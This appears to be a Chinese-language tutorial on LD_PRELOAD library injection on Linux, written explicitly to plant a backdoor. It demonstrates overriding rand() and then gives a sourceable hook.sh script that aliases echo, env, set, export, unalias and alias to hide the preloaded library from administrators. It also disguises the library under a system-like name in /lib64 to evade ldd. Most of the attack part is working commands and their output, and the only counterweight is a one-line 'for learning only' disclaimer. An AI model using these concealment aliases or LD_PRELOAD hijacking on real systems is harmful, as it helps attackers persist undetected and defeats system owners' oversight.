Linux?平臺下,涉及動態(tài)鏈接的程序,在程序啟動時,首先運(yùn)行的是動態(tài)鏈接器(runtime dynamic linker),檢查程序所需要的動態(tài)庫文件并加載到進(jìn)程的虛擬地址空間,然后才將控制權(quán)交給程序入口。
一般來說,程序的鏈接分為靜態(tài)鏈接和動態(tài)鏈接。靜態(tài)鏈接就是把所有所引用到的函數(shù)或變量全部地編譯到可執(zhí)行文件中,動態(tài)鏈接則不會把函數(shù)編譯到可執(zhí)行文件中,而是在程序運(yùn)行時動態(tài)地載入函數(shù)庫,也就是運(yùn)行時鏈接。
所以,對于動態(tài)鏈接來說,必然需要一個動態(tài)鏈接庫。動態(tài)鏈接庫的好處在于,一旦動態(tài)庫中的函數(shù)發(fā)生變化,對于可執(zhí)行程序來說是透明的,可執(zhí)行程序無需重新編譯。這對于程序的發(fā)布、維護(hù)、更新起到了積極的作用。對于靜態(tài)鏈接的程序來說,函數(shù)庫中一個小小的改動需要整個程序的重新編譯、發(fā)布,對于程序的維護(hù)產(chǎn)生了比較大的工作量。
當(dāng)然,凡事都需要辯證的看,有好就有壞,有得就有失。動態(tài)鏈接?所帶來的壞處和其好處一樣同樣是巨大的。因為程序在運(yùn)行時動態(tài)加載函數(shù),這也就為他人創(chuàng)造了可以影響你的主程序的機(jī)會。試想,一旦你的程序動態(tài)載入的函數(shù)不是你自己寫的,而是載入了別人的有企圖的代碼,通過函數(shù)的返回值來控制你的程序的執(zhí)行流程。那么,你的程序也就被人?劫持?了。
【拓展】
Linux?平臺,可執(zhí)行程序的動態(tài)庫加載優(yōu)先級如下:
LD_PRELOAD
LD_LIBRARY_PATH
/etc/ld.so.cache
/lib
/usr/lib。
我們知道?Linux?系統(tǒng)的命令基本都用到了?glibc?庫,生成了有一個叫?libc.so.6?的文件,這是幾乎所有?Linux?系統(tǒng)下命令的動態(tài)鏈接庫,其中有標(biāo)準(zhǔn)?C?的各種函數(shù)。對于?GCC?而言,默認(rèn)情況下,所編譯的程序中對標(biāo)準(zhǔn)?C?函數(shù)的鏈接,都是通過動態(tài)鏈接方式來鏈接?libc.so.6?這個函數(shù)庫的。
LD_PRELOAD?是?Linux?系統(tǒng)的一個環(huán)境變量,它可以影響程序運(yùn)行時的鏈接(Runtime linker)順序,它允許程序運(yùn)行時優(yōu)先加載指定的動態(tài)鏈接庫,主要是用來有選擇性的載入不同動態(tài)鏈接庫中的相同函數(shù),因此,這個機(jī)制可以被用來劫持程序。并且由于?全局符號介入機(jī)制?的影響,LD_PRELOAD?指定的動態(tài)鏈接庫中的函數(shù)會覆蓋之后其他動態(tài)鏈接庫中的同名函數(shù)。
通過LD_PRELOAD,我們可以在主程序和其動態(tài)鏈接庫的中間加載別的動態(tài)鏈接庫,甚至覆蓋正常的函數(shù)庫。一方面,我們可以以此功能來使用自己的或是更好的函數(shù)(無需別人的源碼),另一方面,我們也可以向別人的程序注入我們的程序,從而達(dá)到特定的目的。
本文記錄了如何通過?LD_PRELOAD?環(huán)境變量來?hook?程序,達(dá)到植入后門和調(diào)試的目的。
【拓展:全局符號介入】
全局符號介入指的是程序調(diào)用動態(tài)庫中的函數(shù)時,如果調(diào)用的函數(shù)在多個動態(tài)庫中都存在,那么鏈接器只會保留第一個鏈接的動態(tài)庫中的函數(shù),忽略之后同名的函數(shù),所以只要預(yù)加載的全局符號中有和后加載的普通共享庫中全局符號重名,那么就會覆蓋后裝載的共享庫以及目標(biāo)文件里的全局符號。
由于?LD_PRELOAD?可以在程序運(yùn)行前指定優(yōu)先加載的動態(tài)鏈接庫,因此,我們可以重寫程序運(yùn)行過程中所調(diào)用的函數(shù)并編譯成動態(tài)鏈接庫文件,然后通過?LD_PRELOAD?讓程序優(yōu)先加載這個"惡意"的動態(tài)鏈接庫,最后,當(dāng)程序再次運(yùn)行時便會加載動態(tài)鏈接庫中的“惡意”函數(shù)。具體的操作步驟如下:
export LD_PRELOAD="庫文件路徑",設(shè)置要優(yōu)先替換的動態(tài)鏈接庫即可。unset LD_PRELOAD?解除。注意:第?
3?步有如下兩種方式可選,使用哪種方式均可。# 指定的鏈接庫只對緊接在后面的程序生效$ LD_PRELOAD=$PWD/hook.so ./executable# 定義環(huán)境變量則對后續(xù)命令都生效$ export LD_PRELOAD=$PWD/hook.so
下面我們通過一個簡單的實(shí)例進(jìn)行演示:
/*random_num.c*/#include#include#includeint main() {srand(time(NULL));int i = 10;while(i--)printf("%d\n", rand()%100);return 0;}
我不使用任何參數(shù)來編譯它,如下所示:
gcc random_num.c -o random_num我希望它輸出的結(jié)果是明確的:從 0-99 中選擇的十個隨機(jī)數(shù)字,希望每次你運(yùn)行這個程序時它的輸出都不相同。
[root@localhost rand]# ./random_num57814089841367803145
默認(rèn)情況下,gcc?編譯采用動態(tài)鏈接,rand()?這個標(biāo)準(zhǔn)?C?庫接口來自?libc.so.6。
現(xiàn)在,讓我們假裝真的不知道這個可執(zhí)行程序的出處。甚至將它的源文件刪除,或者把它移動到別的地方 —— 我們已不再需要它了。我們將對這個程序的行為進(jìn)行重大的修改,而你并不需要接觸到它的源代碼,也不需要重新編譯它。
因此,讓我們來創(chuàng)建另外一個簡單的?C?文件?hook.c:
int rand() {// the most random number in the universereturn 10;}
我們將它編譯進(jìn)一個共享庫中:
gcc -shared -fPIC hook.c -o hook.so編譯生成我自己定義的動態(tài)鏈接庫?hook.so,并通過?LD_PRELOAD?設(shè)置替換成我剛編譯的動態(tài)鏈接庫?hook.so。
現(xiàn)在我們已經(jīng)有了一個可以輸出一些隨機(jī)數(shù)的應(yīng)用程序,和一個定制的動態(tài)庫,它使用一個常數(shù)值?10?實(shí)現(xiàn)了一個?rand()?函數(shù)。現(xiàn)在讓我們就像運(yùn)行?random_num?一樣,然后再觀察結(jié)果:
[root@localhost rand]# LD_PRELOAD=$PWD/hook.so ./random_num10101010101010101010
如果你想偷懶或者不想自動親自動手(或者不知什么原因猜不出發(fā)生了什么),我來告訴你 —— 它輸出了十次常數(shù)?10。
如果先這樣執(zhí)行:
export LD_PRELOAD=$PWD/hook.so然后再以正常方式運(yùn)行這個程序,這個結(jié)果也許會更讓你吃驚:一個未被改變過的應(yīng)用程序在一個正常的運(yùn)行方式中,結(jié)果就輕易的被我們篡改了……
[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# ./random_num10101010101010101010
當(dāng)我們的程序啟動后,為程序提供所需要的函數(shù)的某些庫被加載。我們可以使用?ldd?去學(xué)習(xí)它是怎么工作的:
[root@localhost rand]# ldd random_numlinux-vdso.so.1 (0x00007fffa2df3000)libc.so.6 => /lib64/libc.so.6 (0x00007fed34c21000)/lib64/ld-linux-x86-64.so.2 (0x00007fed34fe6000)
它列出了被程序?random_num?所需要的庫的列表。這個列表是構(gòu)建進(jìn)可執(zhí)行程序中的,并且它是在編譯時決定的。在你的機(jī)器上的具體的輸出可能與示例有所不同,但是,一個?libc.so?肯定是有的 —— 這個文件提供了核心的?C?函數(shù)。它包含了 “真正的”?rand()。
我使用下列的命令可以得到一個全部的函數(shù)列表,我們看一看?libc?提供了哪些函數(shù):
nm -D /lib/libc.so.6這個?nm?命令列出了在一個二進(jìn)制文件中找到的符號。-D?標(biāo)志告訴它去查找動態(tài)符號,因為?libc.so.6?是一個動態(tài)庫。這個輸出是很長的,但它確實(shí)在列出的很多標(biāo)準(zhǔn)函數(shù)中包括了?rand()。
[root@localhost rand]# nm -D /lib/libc.so.6 | grep -w rand000365e0 T rand
現(xiàn)在,在我們設(shè)置了環(huán)境變量?LD_PRELOAD?后發(fā)生了什么?這個變量為一個程序強(qiáng)制加載一些動態(tài)庫。在我們的案例中,它為?random_num?加載了?hook.so,盡管程序本身并沒有這樣去要求它。下列的命令可以看得出來:
[root@localhost rand]# LD_PRELOAD=$PWD/hook.so ldd random_numlinux-vdso.so.1 (0x00007fffbcad0000)/tmp/rand/hook.so (0x00007fc662acc000)libc.so.6 => /lib64/libc.so.6 (0x00007fc662707000)/lib64/ld-linux-x86-64.so.2 (0x00007fc662cce000)
或者通過如下命令也可:
[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# ldd random_numlinux-vdso.so.1 (0x00007ffd857af000)/tmp/rand/hook.so (0x00007fbcf4327000)libc.so.6 => /lib64/libc.so.6 (0x00007fbcf3f62000)/lib64/ld-linux-x86-64.so.2 (0x00007fbcf4529000)
注意,它列出了我們當(dāng)前的庫。實(shí)際上這就是代碼為什么得以運(yùn)行的原因:random_num?調(diào)用了?rand(),但是,如果?hook.so?被加載,它調(diào)用的是我們自定義動態(tài)庫中所提供的rand()?函數(shù)。
至此,我們通過LD_PRELOAD劫持和注入程序的方法就成功了。但是,只講到這里大家有沒有發(fā)現(xiàn)一個問題,如果只操作到這里,那么就很容易被人發(fā)現(xiàn)我們植入的后門。有沒有什么辦法能避免輕易本人發(fā)現(xiàn)并識別出來呢,接下來讓我們一起學(xué)習(xí)下。
如果檢查環(huán)境變量?LD_PRELOAD?是否有值,就可以捕捉到蛛絲馬跡
[root@localhost rand]# echo $LD_PRELOAD[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# echo $LD_PRELOAD/tmp/rand/hook.so
有檢查的手段,就有對抗檢查的手段。隱藏痕跡的思路就是利用?alias?命令給能夠查看環(huán)境變量的命令都定義一個別名,在輸出環(huán)境變量時做一個過濾,如果檢查到輸出內(nèi)容有自定義的動態(tài)庫名稱時就輸出空格字符或者不輸出之類的。
使用?alias?命令將?echo?定義別名
alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func'首先查看環(huán)境變量?LD_PRELOAD?是沒有值的,用?export?進(jìn)行設(shè)置后,echo?就能看到?$LD_PRELOAD?的值了,接著用?alias?將?echo?定義別名,使得?echo?命令輸出的字符串如果包含?/tmp/rand/hook.so?就給替換為空格,實(shí)驗效果如下:
[root@localhost rand]# alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func'[root@localhost rand]# echo $LD_PRELOAD[root@localhost rand]#
【原理】:首先定義一個?
func?函數(shù),最后執(zhí)行?func?函數(shù)中的內(nèi)容;echo $*?會輸出?echo?命令傳進(jìn)來的所有參數(shù);sed?是一個非交互性文本流編輯器,s?參數(shù)表示替換,!?作為定界符(正常的分隔符是用?/?,但是避免路徑中?/?的干擾,這里選擇用?!?作為定界符),g?表示全局替換。
env?輸出環(huán)境變量時,如果?LD_PRELOAD?的值并不存在,則不會輸出關(guān)于這個變量的任何信息,如果給?LD_PRELOAD?設(shè)置值之后,就能查看到一行關(guān)于這個變量的信息(如下)
[root@localhost rand]# envCONDA_SHLVL=0...HISTSIZE=1000LD_PRELOAD=/tmp/rand/hook.soLESSOPEN=||/usr/bin/lesspipe.sh %s_=/usr/bin/env
這里采用的思路是用?grep -v?來過濾掉,grep -v?指的是反轉(zhuǎn)匹配。因此使用如下命令,將?env?定義別名,將除去字符串?/tmp/rand/hook.so?的內(nèi)容都輸出
alias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func'觀察下圖能發(fā)現(xiàn),最初?env?命令是成功輸出了?LD_PRELOAD?環(huán)境變量的,但定義?env?別名后,再出執(zhí)行?env?就已經(jīng)看不到?LD_PRELOAD?環(huán)境變量了。
[root@localhost rand]# envCONDA_SHLVL=0...HISTSIZE=1000LESSOPEN=||/usr/bin/lesspipe.sh %s_=/usr/bin/env
隱藏?set?命令輸出的環(huán)境變量和?env?同理。
alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func'執(zhí)行結(jié)果如下:
[root@localhost rand]# set | grep LDLD_PRELOAD=/tmp/rand/hook.soOLDPWD=/rootOLD_IFS="$IFS";IFS="$OLD_IFS";[root@localhost rand]# alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# set | grep LDOLDPWD=/rootOLD_IFS="$IFS";IFS="$OLD_IFS";
export?命令的隱藏也是同理。
alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func'執(zhí)行結(jié)果如下:
[root@localhost rand]# export | grep LDdeclare -x LD_PRELOAD="/tmp/rand/hook.so"declare -x OLDPWD="/root"[root@localhost rand]# alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# export | grep LDdeclare -x OLDPWD="/root"
接下來是對?alias?和?unalias?命令進(jìn)行處理。
用?alias?可以查詢到對?env?命令做了別名定義,對其使用?unalias?命令刪除是可以成功的,如果沒有別名的話,用?unalias?刪除時應(yīng)該是報錯?-bash: unalias: xx: not found(實(shí)驗機(jī)器為?CentOS Stream release 8,不同版本的機(jī)器上這個錯誤信息可能不一樣)。
[root@localhost rand]# alias | grep envalias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# unalias env[root@localhost rand]# unalias env-bash: unalias: env: not found
然后對?unalias?命令進(jìn)行一下別名定義,希望在識別到參數(shù)為?env?echo??export?alias?unalias?的時候都輸出報錯?-bash: unalias: xx: not found?,這樣就造成了一種這些命令并沒有被別名的假象。
shell?腳本如下,代碼很容易理解,就是用了兩個?if?語句確保?unalias?造成一種假象
alias unalias='func() {if [ $# != 0 ]; thenif [ $* != "echo" ] && [ $* != "env" ] && [ $* != "set" ] && [ $* != "export" ] && [ $* != "alias" ] && [ $* != "unalias" ]; thenunalias $*elseecho "-bash: unalias: ${*}: not found"fielseecho "unalias: not enough arguments"fi}; func'
執(zhí)行?alias?命令如下,對?unalias?定義別名
alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "-bash: unalias: ${*}: not found"; fi; else echo "unalias: not enough arguments"; fi }; func'如果用?alias?命令查看哪些函數(shù)定義別名的話,依然是個破綻,因此最后對?alias?做一個別名,偽造的方法和隱藏?export?set?的輸出一樣,將輸出有動態(tài)庫名稱的命令都給過濾掉,并且要額外過濾一下?unalias?(避免被看出來?unalias?命令做過手腳)
alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'匯總上面的命令,編寫?shell?腳本?hook.sh?如下:
export LD_PRELOAD=$PWD/hook.soalias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func'alias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func'alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func'alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func'alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "-bash: unalias: ${*}: not found"; fi; else echo "unalias: not enough arguments"; fi }; func'alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'
將其執(zhí)行后,調(diào)用?random_num?可以看到下圖中已經(jīng)觸發(fā)了自定義的?hook?動態(tài)庫,并且用各種方法檢查環(huán)境變量?LD_PRELOAD?發(fā)現(xiàn)一切正常,如下所示:
[root@localhost rand]# source hook.sh[root@localhost rand]# ./random_num10101010101010101010[root@localhost rand]# env | grep LD_PRELOAD[root@localhost rand]# export | grep LD_PRELOAD[root@localhost rand]# set | grep LD_PRELOAD[root@localhost rand]# echo $LD_PRELOAD[root@localhost rand]#
可能有的人會說,你隱藏了那么多,但是?ldd?一下不還是會露餡么,不信你看:
[root@localhost rand]# ldd random_numlinux-vdso.so.1 (0x00007ffd857af000)/tmp/rand/hook.so (0x00007fbcf4327000)libc.so.6 => /lib64/libc.so.6 (0x00007fbcf3f62000)/lib64/ld-linux-x86-64.so.2 (0x00007fbcf4529000)
確實(shí),ldd?會顯示鏈接的動態(tài)庫,如果你像?/tmp/rand/hook.so?這樣命名路徑和動態(tài)庫,可能的確會輕易的被發(fā)現(xiàn),但是我們可以偽裝成一個系統(tǒng)庫,就不容易被發(fā)現(xiàn)了,如下:
[root@localhost rand]# gcc -shared -fPIC hook.c -o /lib64/libcx.so[root@localhost rand]# export LD_PRELOAD=/lib64/libcx.so[root@localhost rand]# ldd random_numlinux-vdso.so.1 (0x00007ffd0ebc8000)/lib64/libcx.so (0x00007f63b2e38000)libc.so.6 => /lib64/libc.so.6 (0x00007f63b2a73000)/lib64/ld-linux-x86-64.so.2 (0x00007f63b303a000)
如果你不仔細(xì)研究,是不是就不會發(fā)現(xiàn)異常,這樣就基本可以蒙混過關(guān)了。
至此,使用?LD_PRELOAD?劫持和注入程序就全部介紹完了。
特此說明:本文只作為參考學(xué)習(xí)使用,請勿用作其它非法用途。